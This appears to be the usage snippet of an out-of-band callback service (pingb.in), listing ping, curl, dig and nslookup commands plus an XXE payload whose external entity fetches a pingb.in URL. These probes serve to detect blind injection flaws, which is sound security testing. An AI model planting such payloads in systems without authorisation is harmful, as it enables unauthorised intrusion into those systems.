$ ping -c1 -p 007227c0e1d4ebd8d8344f98fe756a00 pingb.in
 

$ curl pingb.in/p/7227c0e1d4ebd8d8344f98fe756a
 

$ dig 7227c0e1d4ebd8d8344f98fe756a @pingb.in
 

$ dig 7227c0e1d4ebd8d8344f98fe756a.ns.pingb.in
 

C:\> nslookup 7227c0e1d4ebd8d8344f98fe756a pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/7227c0e1d4ebd8d8344f98fe756a">]>
    <foo>&xxe;</foo>